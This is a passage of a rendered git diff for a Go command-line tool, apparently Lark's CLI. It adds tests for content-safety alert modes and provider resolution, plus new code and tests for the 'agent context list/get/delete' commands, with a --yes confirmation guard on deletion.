if err := emitTask(f, cmd, task, nil, "json"); err != nil {
|
||||
t.Fatalf("warn mode should not error: %v", err)
|
||||
}
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("unmarshal: %v (%s)", err, out.String())
|
||||
}
|
||||
if env.ContentSafetyAlert == nil {
|
||||
t.Error("warn mode should attach the alert to the envelope")
|
||||
}
|
||||
}
|
||||
|
||||
// TestEmitTask_ContentSafetyAlertWarnWithJq exercises the WriteAlertWarning +
|
||||
// JqFilter branch: an alert plus a --jq expression writes a stderr warning and
|
||||
// still filters stdout.
|
||||
func TestEmitTask_ContentSafetyAlertWarnWithJq(t *testing.T) {
|
||||
t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "warn")
|
||||
extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
|
||||
defer extcs.Register(nil)
|
||||
|
||||
f, out, errOut := emitFactory()
|
||||
cmd := newEmitCmd("task", ".data.state")
|
||||
task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateWorking}
|
||||
|
||||
if err := emitTask(f, cmd, task, nil, "json"); err != nil {
|
||||
t.Fatalf("warn+jq should not error: %v", err)
|
||||
}
|
||||
if got := strings.TrimSpace(out.String()); got != "working" {
|
||||
t.Errorf("jq output should be working, got %q", got)
|
||||
}
|
||||
if !strings.Contains(errOut.String(), "content safety alert") {
|
||||
t.Errorf("stderr should contain a content-safety warning, got %q", errOut.String())
|
||||
}
|
||||
}
|
||||
|
||||
// TestEmitTask_ContentSafetyBlocked returns the block error and writes nothing
|
||||
// to stdout.
|
||||
func TestEmitTask_ContentSafetyBlocked(t *testing.T) {
|
||||
t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "block")
|
||||
extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
|
||||
defer extcs.Register(nil)
|
||||
|
||||
f, out, _ := emitFactory()
|
||||
cmd := newEmitCmd("task", "")
|
||||
task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateCompleted, IsTerminal: true}
|
||||
|
||||
err := emitTask(f, cmd, task, nil, "json")
|
||||
if err == nil {
|
||||
t.Fatal("block mode should return BlockErr")
|
||||
}
|
||||
if !errs.IsContentSafety(err) {
|
||||
t.Errorf("should be a content-safety error, got %T", err)
|
||||
}
|
||||
if out.Len() > 0 {
|
||||
t.Errorf("block mode should not write to stdout, got %q", out.String())
|
||||
}
|
||||
}
|
||||
|
||||
// resolveCmd builds an `agent card` command carrying an `--as` flag. When
|
||||
// asChanged is true the flag is marked as explicitly set, so ResolveAs honors
|
||||
// the passed identity verbatim (needed to exercise the identity-check branch).
|
||||
func resolveCmd(t *testing.T, asChanged bool, asVal string) *cobra.Command {
|
||||
t.Helper()
|
||||
root := &cobra.Command{Use: "lark-cli"}
|
||||
group := &cobra.Command{Use: "agent"}
|
||||
leaf := &cobra.Command{Use: "card"}
|
||||
root.AddCommand(group)
|
||||
group.AddCommand(leaf)
|
||||
leaf.Flags().String("as", "", "identity")
|
||||
if asChanged {
|
||||
if err := leaf.Flags().Set("as", asVal); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
leaf.SetContext(context.Background())
|
||||
return leaf
|
||||
}
|
||||
|
||||
// TestResolveProvider_Success resolves a valid example ref under an explicit bot
|
||||
// identity and returns a non-nil provider.
|
||||
func TestResolveProvider_Success(t *testing.T) {
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
|
||||
cmd := resolveCmd(t, true, "bot")
|
||||
|
||||
p, id, err := resolveProvider(f, cmd, "example:agt_x", "bot")
|
||||
if err != nil {
|
||||
t.Fatalf("a valid ref + bot should succeed: %v", err)
|
||||
}
|
||||
if p == nil {
|
||||
t.Fatal("should return a non-nil provider")
|
||||
}
|
||||
if id != core.AsBot {
|
||||
t.Errorf("identity should be bot, got %s", id)
|
||||
}
|
||||
}
|
||||
|
||||
// TestResolveProvider_MalformedRef wraps a ParseRef failure into an
|
||||
// invalid_argument validation error (exit 2).
|
||||
func TestResolveProvider_MalformedRef(t *testing.T) {
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
|
||||
cmd := resolveCmd(t, true, "bot")
|
||||
|
||||
_, _, err := resolveProvider(f, cmd, "no-colon", "bot")
|
||||
if err == nil {
|
||||
t.Fatal("malformed ref should error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("should be a validation error, got %T", err)
|
||||
}
|
||||
p, _ := errs.ProblemOf(err)
|
||||
if p == nil || p.Subtype != errs.SubtypeInvalidArgument {
|
||||
t.Fatalf("subtype should be invalid_argument, got %+v", p)
|
||||
}
|
||||
// Hand-written validation errors carry a recovery hint. A malformed ref
|
||||
// teaches the <scheme>:<agent_id> shape.
|
||||
if !strings.Contains(p.Hint, "<scheme>:<agent_id>") {
|
||||
t.Errorf("malformed-ref hint should teach the ref shape, got %q", p.Hint)
|
||||
}
|
||||
}
|
||||
|
||||
// TestResolveProvider_UnknownScheme rejects an unregistered provider scheme.
|
||||
func TestResolveProvider_UnknownScheme(t *testing.T) {
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
|
||||
cmd := resolveCmd(t, true, "bot")
|
||||
|
||||
_, _, err := resolveProvider(f, cmd, "nope:agt_x", "bot")
|
||||
if err == nil {
|
||||
t.Fatal("an unknown scheme should error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("should be a validation error, got %T", err)
|
||||
}
|
||||
// An unknown scheme points the caller at `agent list` for discovery.
|
||||
p, _ := errs.ProblemOf(err)
|
||||
if p == nil || !strings.Contains(p.Hint, "agent list") {
|
||||
t.Errorf("unknown-scheme hint should point to `agent list`, got %+v", p)
|
||||
}
|
||||
}
|
||||
|
||||
// TestResolveProvider_IdentityRejected fails the user|bot whitelist when an
|
||||
// unsupported --as is explicitly requested; the provider is never constructed.
|
||||
func TestResolveProvider_IdentityRejected(t *testing.T) {
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
|
||||
cmd := resolveCmd(t, true, "admin")
|
||||
|
||||
p, _, err := resolveProvider(f, cmd, "example:agt_x", "admin")
|
||||
if err == nil {
|
||||
t.Fatal("an unsupported identity should error")
|
||||
}
|
||||
if p != nil {
|
||||
t.Error("should not return a provider when identity validation fails")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("should be a validation error, got %T", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestResolveProvider_APIClientError surfaces a NewAPIClient failure (Config
|
||||
// error) before any provider is built.
|
||||
func TestResolveProvider_APIClientError(t *testing.T) {
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
|
||||
f.Config = func() (*core.CliConfig, error) { return nil, errors.New("config boom") }
|
||||
cmd := resolveCmd(t, true, "bot")
|
||||
|
||||
if _, _, err := resolveProvider(f, cmd, "example:agt_x", "bot"); err == nil {
|
||||
t.Fatal("a Config error should propagate")
|
||||
}
|
||||
}
|
||||
|
||||
// unconfiguredFactory returns a Factory whose Config() errors (simulating a
|
||||
// fresh install that hasn't run `config init`), so NewAPIClient fails. Used to
|
||||
// pin that the API-free paths never reach the config gate.
|
||||
func unconfiguredFactory(t *testing.T) *cmdutil.Factory {
|
||||
t.Helper()
|
||||
f, _, _, _ := cmdutil.TestFactory(t, nil)
|
||||
f.Config = func() (*core.CliConfig, error) { return nil, errors.New("not configured") }
|
||||
return f
|
||||
}
|
||||
|
||||
// TestResolveProviderNoClient_WorksWhenUnconfigured guards the acceptance
|
||||
// regression: the API-free resolution path must NOT touch NewAPIClient, so it
|
||||
// succeeds even when Config errors, while the client-backed resolveProvider
|
||||
// still fails at the config gate.
|
||||
func TestResolveProviderNoClient_WorksWhenUnconfigured(t *testing.T) {
|
||||
f := unconfiguredFactory(t)
|
||||
cmd := resolveCmd(t, true, "bot")
|
||||
|
||||
p, id, err := resolveProviderNoClient(f, cmd, "example:agt_x", "bot")
|
||||
if err != nil {
|
||||
t.Fatalf("no-client resolution should succeed when unconfigured: %v", err)
|
||||
}
|
||||
if p == nil || id != core.AsBot {
|
||||
t.Fatalf("should return provider + bot identity, got p=%v id=%s", p, id)
|
||||
}
|
||||
if _, _, err := resolveProvider(f, cmd, "example:agt_x", "bot"); err == nil {
|
||||
t.Fatal("the client path should error when unconfigured (config gate)")
|
||||
}
|
||||
}
|
||||
|
||||
// TestResolveProviderNoClient_ValidatesRefBeforeConfig pins that a malformed
|
||||
// ref / unknown scheme is a validation error (exit 2) even when unconfigured —
|
||||
// it must not be masked by not_configured.
|
||||
func TestResolveProviderNoClient_ValidatesRefBeforeConfig(t *testing.T) {
|
||||
f := unconfiguredFactory(t)
|
||||
cmd := resolveCmd(t, true, "bot")
|
||||
|
||||
for _, ref := range []string{"no-colon", "nope:agt_x"} {
|
||||
_, _, err := resolveProviderNoClient(f, cmd, ref, "bot")
|
||||
if err == nil {
|
||||
t.Fatalf("ref %q should also report a validation error when unconfigured", ref)
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("ref %q should be a validation error, got %T", ref, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestAgentCardRun_WorksUnconfigured guards the acceptance regression: `agent
|
||||
// card` is statically synthesized and must succeed unconfigured, never hitting
|
||||
// the config gate.
|
||||
func TestAgentCardRun_WorksUnconfigured(t *testing.T) {
|
||||
f := unconfiguredFactory(t)
|
||||
cmd := resolveCmd(t, true, "bot")
|
||||
|
||||
if err := agentCardRun(&cardOptions{Factory: f, Cmd: cmd, Ref: "example:echo", As: "bot", Format: "json"}); err != nil {
|
||||
t.Fatalf("agent card should succeed when unconfigured (API-free): %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestAgentSendRun_DryRunWorksUnconfigured guards the acceptance regression:
|
||||
// `agent send --dry-run` is a client-side preview and must succeed
|
||||
// unconfigured — the example echo card declares no parameters, so no --param is
|
||||
// needed. A malformed --param must still surface as validation, unconfigured.
|
||||
func TestAgentSendRun_DryRunWorksUnconfigured(t *testing.T) {
|
||||
f := unconfiguredFactory(t)
|
||||
cmd := resolveCmd(t, true, "bot")
|
||||
|
||||
err := agentSendRun(&sendOptions{
|
||||
Factory: f, Cmd: cmd, Ref: "example:echo", Text: "hi", DryRun: true, As: "bot",
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("send --dry-run should succeed when unconfigured: %v", err)
|
||||
}
|
||||
|
||||
// A malformed --param (no '=') is still a validation error, unconfigured.
|
||||
err = agentSendRun(&sendOptions{
|
||||
Factory: f, Cmd: cmd, Ref: "example:echo", Text: "hi",
|
||||
Params: []string{"noequals"}, DryRun: true, As: "bot",
|
||||
})
|
||||
if err == nil || !errs.IsValidation(err) {
|
||||
t.Fatalf("a malformed --param should report a validation error when unconfigured, got %v", err)
|
||||
}
|
||||
}
|
||||
248
cmd/agent/context.go
Normal file
248
cmd/agent/context.go
Normal file
@@ -0,0 +1,248 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
iagent "github.com/larksuite/cli/internal/agent"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
)
|
||||
|
||||
// contextOptions holds all inputs for the `agent context list|get|delete`
|
||||
// leaves. A single struct backs all three so the shared fields (Factory, Cmd,
|
||||
// Ref, As) are wired once; each RunE reads only the fields its verb needs.
|
||||
type contextOptions struct {
|
||||
Factory *cmdutil.Factory
|
||||
Cmd *cobra.Command
|
||||
Ref string
|
||||
CtxID string
|
||||
Yes bool
|
||||
As string
|
||||
Format string
|
||||
}
|
||||
|
||||
// NewCmdAgentContext builds the `agent context` command group: manage a remote
|
||||
// agent's multi-turn contexts (requires card multi_turn=true). It is a pure group with
|
||||
// no RunE so an unknown subcommand is reported rather than silently swallowed.
|
||||
func NewCmdAgentContext(f *cmdutil.Factory) *cobra.Command {
|
||||
cmd := &cobra.Command{
|
||||
Use: "context",
|
||||
Short: "Manage a remote agent's multi-turn contexts (sessions)",
|
||||
Long: "context list <agent_ref> lists sessions; context get <agent_ref> <ctx-id> shows session detail; context delete <agent_ref> <ctx-id> deletes a session (high-risk, needs --yes).",
|
||||
}
|
||||
cmd.AddCommand(NewCmdAgentContextList(f))
|
||||
cmd.AddCommand(NewCmdAgentContextGet(f))
|
||||
cmd.AddCommand(NewCmdAgentContextDelete(f))
|
||||
return cmd
|
||||
}
|
||||
|
||||
// NewCmdAgentContextList builds `agent context list <ref>`: enumerate the
|
||||
// agent's multi-turn contexts into {contexts:[...]} with a meta.count. Risk=read.
|
||||
func NewCmdAgentContextList(f *cmdutil.Factory) *cobra.Command {
|
||||
opts := &contextOptions{Factory: f}
|
||||
cmd := &cobra.Command{
|
||||
Use: "list <agent_ref>",
|
||||
Short: "List a remote agent's multi-turn contexts",
|
||||
Long: "List the multi-turn contexts (sessions) of the agent addressed by agent_ref.",
|
||||
Args: exactArgsWithUsage(1),
|
||||
RunE: func(cmd *cobra.Command, args []string) error {
|
||||
if err := validateFormat(opts.Format); err != nil {
|
||||
return err
|
||||
}
|
||||
opts.Cmd = cmd
|
||||
opts.Ref = args[0]
|
||||
return agentContextListRun(opts)
|
||||
},
|
||||
}
|
||||
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
|
||||
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
|
||||
addAsFlag(cmd, f, &opts.As)
|
||||
cmdutil.SetRisk(cmd, cmdutil.RiskRead)
|
||||
return cmd
|
||||
}
|
||||
|
||||
// NewCmdAgentContextGet builds `agent context get <ref> <ctx-id>`: fetch a
|
||||
// single context's detail. Risk=read.
|
||||
func NewCmdAgentContextGet(f *cmdutil.Factory) *cobra.Command {
|
||||
opts := &contextOptions{Factory: f}
|
||||
cmd := &cobra.Command{
|
||||
Use: "get <agent_ref> <ctx-id>",
|
||||
Short: "Show the detail of a single multi-turn context",
|
||||
Long: "Show the detail of the multi-turn context ctx-id under the agent addressed by agent_ref.",
|
||||
Args: exactArgsWithUsage(2),
|
||||
RunE: func(cmd *cobra.Command, args []string) error {
|
||||
if err := validateFormat(opts.Format); err != nil {
|
||||
return err
|
||||
}
|
||||
opts.Cmd = cmd
|
||||
opts.Ref = args[0]
|
||||
opts.CtxID = args[1]
|
||||
return agentContextGetRun(opts)
|
||||
},
|
||||
}
|
||||
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
|
||||
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
|
||||
addAsFlag(cmd, f, &opts.As)
|
||||
cmdutil.SetRisk(cmd, cmdutil.RiskRead)
|
||||
return cmd
|
||||
}
|
||||
|
||||
// NewCmdAgentContextDelete builds `agent context delete <ref> <ctx-id>`: destroy
|
||||
// a multi-turn context. Deletion is irreversible, so it is high-risk-write and
|
||||
// requires --yes; without it the command returns a confirmation_required error
|
||||
// (exit 10) before touching the API. Risk=high-risk-write.
|
||||
func NewCmdAgentContextDelete(f *cmdutil.Factory) *cobra.Command {
|
||||
opts := &contextOptions{Factory: f}
|
||||
cmd := &cobra.Command{
|
||||
Use: "delete <agent_ref> <ctx-id>",
|
||||
Short: "Delete a remote agent's multi-turn context (high-risk, needs --yes)",
|
||||
Long: "Delete the multi-turn context ctx-id under the agent addressed by agent_ref. Deletion is irreversible and requires --yes to confirm; otherwise it returns confirmation_required (exit 10).",
|
||||
Args: exactArgsWithUsage(2),
|
||||
RunE: func(cmd *cobra.Command, args []string) error {
|
||||
if err := validateFormat(opts.Format); err != nil {
|
||||
return err
|
||||
}
|
||||
opts.Cmd = cmd
|
||||
opts.Ref = args[0]
|
||||
opts.CtxID = args[1]
|
||||
return agentContextDeleteRun(opts)
|
||||
},
|
||||
}
|
||||
cmd.Flags().BoolVar(&opts.Yes, "yes", false, "确认删除(高危操作,不加则返回 exit 10)")
|
||||
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
|
||||
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
|
||||
addAsFlag(cmd, f, &opts.As)
|
||||
cmdutil.SetRisk(cmd, cmdutil.RiskHighRiskWrite)
|
||||
return cmd
|
||||
}
|
||||
|
||||
// agentContextListRun runs `context list`: resolves the provider, lists contexts
|
||||
// and emits {contexts:[...]} with meta.count.
|
||||
func agentContextListRun(opts *contextOptions) error {
|
||||
f := opts.Factory
|
||||
p, id, err := resolveProvider(f, opts.Cmd, opts.Ref, opts.As)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// Capability gate before the API call: multi_turn is derived from ListContexts
|
||||
// being wired, so a provider without it returns unsupported_capability.
|
||||
if p.ListContexts == nil {
|
||||
return capabilityError(opts.Ref, "context list", iagent.CapMultiTurn)
|
||||
}
|
||||
// Local scope preflight: after resolveProvider, before the API call.
|
||||
if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
|
||||
return err
|
||||
}
|
||||
contexts, err := p.ListContexts(opts.Cmd.Context())
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// pretty is a human view only; a --jq expression implies structured JSON.
|
||||
if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
|
||||
printContextsTSV(f.IOStreams.Out, contexts)
|
||||
return nil
|
||||
}
|
||||
env := output.Envelope{
|
||||
OK: true,
|
||||
Identity: string(id),
|
||||
Data: map[string]interface{}{"contexts": contexts},
|
||||
Meta: &output.Meta{Count: len(contexts)},
|
||||
Notice: output.GetNotice(),
|
||||
}
|
||||
if jq := jqExpr(opts.Cmd); jq != "" {
|
||||
return output.JqFilter(f.IOStreams.Out, env, jq)
|
||||
}
|
||||
output.PrintJson(f.IOStreams.Out, env)
|
||||
return nil
|
||||
}
|
||||
|
||||
// agentContextGetRun runs `context get`: resolves the provider, fetches the
|
||||
// context detail and emits it.
|
||||
func agentContextGetRun(opts *contextOptions) error {
|
||||
f := opts.Factory
|
||||
p, id, err := resolveProvider(f, opts.Cmd, opts.Ref, opts.As)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// Capability gate before the API call.
|
||||
if p.GetContext == nil {
|
||||
return capabilityError(opts.Ref, "context get", iagent.CapMultiTurn)
|
||||
}
|
||||
// Local scope preflight: after resolveProvider, before the API call.
|
||||
if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
|
||||
return err
|
||||
}
|
||||
detail, err := p.GetContext(opts.Cmd.Context(), opts.CtxID)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if detail != nil {
|
||||
// Derive IsTerminal from State (single source of truth) for the embedded
|
||||
// task summaries before emission.
|
||||
detail.Tasks = normalizeTaskSummaries(detail.Tasks)
|
||||
}
|
||||
// pretty is a human view only; a --jq expression implies structured JSON.
|
||||
if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
|
||||
printContextDetailPretty(f.IOStreams.Out, detail)
|
||||
return nil
|
||||
}
|
||||
env := output.Envelope{
|
||||
OK: true,
|
||||
Identity: string(id),
|
||||
Data: detail,
|
||||
Notice: output.GetNotice(),
|
||||
}
|
||||
if jq := jqExpr(opts.Cmd); jq != "" {
|
||||
return output.JqFilter(f.IOStreams.Out, env, jq)
|
||||
}
|
||||
output.PrintJson(f.IOStreams.Out, env)
|
||||
return nil
|
||||
}
|
||||
|
||||
// agentContextDeleteRun runs `context delete`. The --yes confirmation guard runs
|
||||
// first so a missing confirmation returns confirmation_required (exit 10) before
|
||||
// any provider is built and holds even under a nil Factory. Only a
|
||||
// confirmed delete reaches resolveProvider + DeleteContext.
|
||||
func agentContextDeleteRun(opts *contextOptions) error {
|
||||
if !opts.Yes {
|
||||
return cmdutil.RequireConfirmation("agent context delete")
|
||||
}
|
||||
|
||||
f := opts.Factory
|
||||
p, id, err := resolveProvider(f, opts.Cmd, opts.Ref, opts.As)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// Capability gate before the API call.
|
||||
if p.DeleteContext == nil {
|
||||
return capabilityError(opts.Ref, "context delete", iagent.CapMultiTurn)
|
||||
}
|
||||
// Local scope preflight: after resolveProvider, before the API call.
|
||||
if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := p.DeleteContext(opts.Cmd.Context(), opts.CtxID); err != nil {
|
||||
return err
|
||||
}
|
||||
// pretty is a human view only; a --jq expression implies structured JSON.
|
||||
if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
|
||||
fmt.Fprintf(f.IOStreams.Out, "context_id: %s\ndeleted: true\n", kvValue(opts.CtxID))
|
||||
return nil
|
||||
}
|
||||
env := output.Envelope{
|
||||
OK: true,
|
||||
Identity: string(id),
|
||||
Data: map[string]interface{}{"context_id": opts.CtxID, "deleted": true},
|
||||
Notice: output.GetNotice(),
|
||||
}
|
||||
if jq := jqExpr(opts.Cmd); jq != "" {
|
||||
return output.JqFilter(f.IOStreams.Out, env, jq)
|
||||
}
|
||||
output.PrintJson(f.IOStreams.Out, env)
|
||||
return nil
|
||||
}
|
||||
408
cmd/agent/context_test.go
Normal file
408
cmd/agent/context_test.go
Normal file
@@ -0,0 +1,408 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
iagent "github.com/larksuite/cli/internal/agent"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
"github.com/larksuite/cli/internal/httpmock"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
)
|
||||
|
||||
// contextCmdCtx builds a `lark-cli agent context <leaf>` command whose --as flag
|
||||
// is set to bot so ResolveAs honors it verbatim, and carries a context.
|
||||
func contextCmdCtx(t *testing.T, leaf string) *cobra.Command {
|
||||
t.Helper()
|
||||
root := &cobra.Command{Use: "lark-cli"}
|
||||
group := &cobra.Command{Use: "agent"}
|
||||
grp := &cobra.Command{Use: "context"}
|
||||
l := &cobra.Command{Use: leaf}
|
||||
root.AddCommand(group)
|
||||
group.AddCommand(grp)
|
||||
grp.AddCommand(l)
|
||||
l.Flags().String("as", "", "identity")
|
||||
if err := l.Flags().Set("as", "bot"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
l.SetContext(context.Background())
|
||||
return l
|
||||
}
|
||||
|
||||
// contextTestOpts wires a contextOptions against a real (test) Factory,
|
||||
// addressing the scripted fakeflow agent agt_x under a bot identity. The
|
||||
// Factory's httpmock registry holds zero stubs, so any HTTP attempt fails the
|
||||
// test; provider behavior is scripted via setScripted.
|
||||
func contextTestOpts(t *testing.T, leaf string) (*contextOptions, *httpmock.Registry) {
|
||||
t.Helper()
|
||||
registerScripted()
|
||||
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
|
||||
f, _, _, reg := cmdutil.TestFactory(t, cfg)
|
||||
return &contextOptions{
|
||||
Factory: f,
|
||||
Cmd: contextCmdCtx(t, leaf),
|
||||
Ref: "fakeflow:agt_x",
|
||||
As: "bot",
|
||||
}, reg
|
||||
}
|
||||
|
||||
// TestContextDeleteRequiresYes pins that `context delete` without --yes is a
|
||||
// confirmation_required error (exit 10), raised before any provider is built.
|
||||
func TestContextDeleteRequiresYes(t *testing.T) {
|
||||
err := agentContextDeleteRun(&contextOptions{Ref: "example:agt_x", CtxID: "c1", Yes: false})
|
||||
if err == nil {
|
||||
t.Fatal("context delete without --yes should report confirmation_required")
|
||||
}
|
||||
if !errs.IsConfirmationRequired(err) {
|
||||
t.Fatalf("should be a confirmation_required error, got %T", err)
|
||||
}
|
||||
if code := output.ExitCodeOf(err); code != output.ExitConfirmationRequired {
|
||||
t.Fatalf("exit code should be 10, got %d", code)
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || p.Subtype != errs.SubtypeConfirmationRequired {
|
||||
t.Fatalf("subtype should be confirmation_required, got %+v", p)
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextDeleteWithYes pins the confirmed path: --yes reaches the provider,
|
||||
// deletes the session, and emits a success envelope.
|
||||
func TestContextDeleteWithYes(t *testing.T) {
|
||||
opts, _ := contextTestOpts(t, "delete")
|
||||
opts.CtxID = "sess_1"
|
||||
opts.Yes = true
|
||||
var deleted string
|
||||
setScripted(t, scriptedHooks{deleteContext: func(ctxID string) error {
|
||||
deleted = ctxID
|
||||
return nil
|
||||
}})
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
if err := agentContextDeleteRun(opts); err != nil {
|
||||
t.Fatalf("context delete --yes should not error: %v", err)
|
||||
}
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
|
||||
}
|
||||
data, _ := env.Data.(map[string]interface{})
|
||||
if data["context_id"] != "sess_1" || data["deleted"] != true {
|
||||
t.Errorf("data should echo {context_id, deleted:true}, got %v", env.Data)
|
||||
}
|
||||
if deleted != "sess_1" {
|
||||
t.Errorf("provider should receive the context id to delete, got %q", deleted)
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextDeleteProviderError surfaces a provider DeleteContext failure
|
||||
// (non-zero business code) after --yes passes.
|
||||
func TestContextDeleteProviderError(t *testing.T) {
|
||||
opts, _ := contextTestOpts(t, "delete")
|
||||
opts.CtxID = "sess_1"
|
||||
opts.Yes = true
|
||||
setScripted(t, scriptedHooks{deleteContext: func(string) error {
|
||||
return errs.NewAPIError(errs.SubtypeUnknown, "app ticket invalid").WithCode(99991663)
|
||||
}})
|
||||
if err := agentContextDeleteRun(opts); err == nil {
|
||||
t.Fatal("a DeleteContext error should propagate")
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextDeleteInvalidRef surfaces a malformed ref as a validation error
|
||||
// after the --yes confirmation guard passes.
|
||||
func TestContextDeleteInvalidRef(t *testing.T) {
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
|
||||
err := agentContextDeleteRun(&contextOptions{Ref: "no-colon", CtxID: "c1", Yes: true, Cmd: contextCmdCtx(t, "delete"), As: "bot", Factory: f})
|
||||
if err == nil {
|
||||
t.Fatal("malformed ref should error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("should be a validation error, got %T", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextListEmitsContexts pins that `context list` returns
|
||||
// {contexts:[...]} with a meta.count.
|
||||
func TestContextListEmitsContexts(t *testing.T) {
|
||||
opts, _ := contextTestOpts(t, "list")
|
||||
setScripted(t, scriptedHooks{listContexts: func() ([]iagent.ContextSummary, error) {
|
||||
return []iagent.ContextSummary{
|
||||
{ContextID: "sess_1", Title: "销售分析", CreatedAt: "2026-07-05T10:01:11+08:00"},
|
||||
{ContextID: "sess_2"},
|
||||
}, nil
|
||||
}})
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
if err := agentContextListRun(opts); err != nil {
|
||||
t.Fatalf("context list should not error: %v", err)
|
||||
}
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
|
||||
}
|
||||
data, _ := env.Data.(map[string]interface{})
|
||||
contexts, ok := data["contexts"].([]interface{})
|
||||
if !ok || len(contexts) != 2 {
|
||||
t.Fatalf("data.contexts should have 2 entries, got %v", data["contexts"])
|
||||
}
|
||||
if env.Meta == nil || env.Meta.Count != 2 {
|
||||
t.Errorf("meta.count should be 2, got %+v", env.Meta)
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextListError surfaces a provider ListContexts failure.
|
||||
func TestContextListError(t *testing.T) {
|
||||
opts, _ := contextTestOpts(t, "list")
|
||||
setScripted(t, scriptedHooks{listContexts: func() ([]iagent.ContextSummary, error) {
|
||||
return nil, errs.NewAPIError(errs.SubtypeUnknown, "app ticket invalid").WithCode(99991663)
|
||||
}})
|
||||
if err := agentContextListRun(opts); err == nil {
|
||||
t.Fatal("a ListContexts error should propagate")
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextListInvalidRef surfaces a malformed ref as a validation error.
|
||||
func TestContextListInvalidRef(t *testing.T) {
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
|
||||
err := agentContextListRun(&contextOptions{Ref: "no-colon", Cmd: contextCmdCtx(t, "list"), As: "bot", Factory: f})
|
||||
if err == nil {
|
||||
t.Fatal("malformed ref should error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
